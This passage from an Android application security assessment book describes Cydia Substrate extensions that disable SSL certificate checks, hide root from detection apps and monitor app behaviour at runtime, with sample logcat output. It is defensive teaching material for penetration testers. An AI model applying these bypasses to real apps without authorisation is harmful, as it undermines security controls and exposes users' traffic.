I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext 
I/SSLTrusKiller(13955): isSecure() called(org.apache.http.conn.ssl.SSLSocketFactory) 

For extensive documentation on creating such an extension for Cydia Substrate, see http://www.cydiasubstrate.com/.

Use Case: Root Detection

Now look at exactly the same example as shown in the “Patching Applications” section previously. The Root Checker application checks whether your device is rooted and displays this status to the screen. We previously disassembled the application and manually patched out these checks. However, you can also achieve this using a runtime manipulation tool such as Cydia Substrate.

An extension named RootCloak Plus on the Play Store (see https://play .google.com/store/apps/details?id=com.devadvance.rootcloakplus&hl=en) uses Cydia Substrate to perform exactly this task. It provides a user interface where you can select which applications should not be able to see that the device is rooted by patching checks for commonly known indications of root. If you add the Root Checker application to the list of applications that root should be hidden from, RootCloak Plus does its job and Root Checker reports “Sorry! The device does not have proper root access.”

The output of logcat also reveals that RootCloak was doing its job:

I/RootCloakPlus(16529): 4 Blacklisted app: com.joeykrim.rootcheck 
I/RootCloakPlus(16529): 9 Blacklisted app: com.joeykrim.rootcheck 
... 
I/RootCloakPlus(16529): 14 Blacklisted app: com.joeykrim.rootcheck 

Use Case: Runtime Monitoring

When assessing large applications, viewing what is going on under the hood of an application at runtime is sometimes useful. A Cydia Substrate extension named Introspy (by iSEC Partners) allows you to do exactly this. You can configure it to watch a number of important aspects of an application, such as any keys going into encryption functions, or what is being sent in intents to other application components. Introspy provides an easy configuration application that allows you to select the list of watched actions and the applications to watch. Figure 7.20 shows the configuration application of Introspy.

images

Figure 7.20 The configuration available in Introspy

Each action discovered by Introspy will then be logged in logcat. A simple example of opening the Sieve application and performing some actions reveals the following output in logcat:

I/Introspy(23334): ### IPC ### com.mwr.example.sieve - android.content. 
ContextWrapper->startService() 
I/Introspy(23334): -> Intent { cmp=com.mwr.example.sieve/.AuthService } 
W/Introspy(23334): ### FS ### com.mwr.example.sieve - java.io.FileOutput 
Stream->FileOutputStream() 
W/Introspy(23334): -> !!! Read/write on sdcard: [/storage/emulated/0/And 
roid/data/com.mwr.example.sieve/files/Backup (2014-07-31 22-13-39.54).xm 
l] 
I/Introspy(23334): ### SSL ### com.mwr.example.sieve - javax.net.ssl.SSL 
Context->init() 
I/Introspy(23334): Use of a custom Trust Manager, the app may do cert. 
pinning OR validate any cert 

You can download Introspy from https://github.com/iSECPartners/Introspy-Android.

Summary

In this chapter, each aspect of assessing an Android application was covered. It was shown that Android applications can contain many types of vulnerabilities. In addition to containing vulnerabilities that are typical of client-side code, Android applications can also exhibit a lot of problems that are unique to the platform. These problems arise from incorrect application configurations or coding mistakes. Each aspect of an application can be fine-combed by someone wishing to find vulnerabilities. This can be done using mature tools presented in this chapter and using this chapter as a general assessment methodology.

Chapter 8 will allow you to apply the knowledge learnt in this chapter at a larger scale and perform assessments on pre-installed applications on a device. Chapter 8 will also delve into leveraging vulnerabilities to gain access to a device like a malicious hacker would.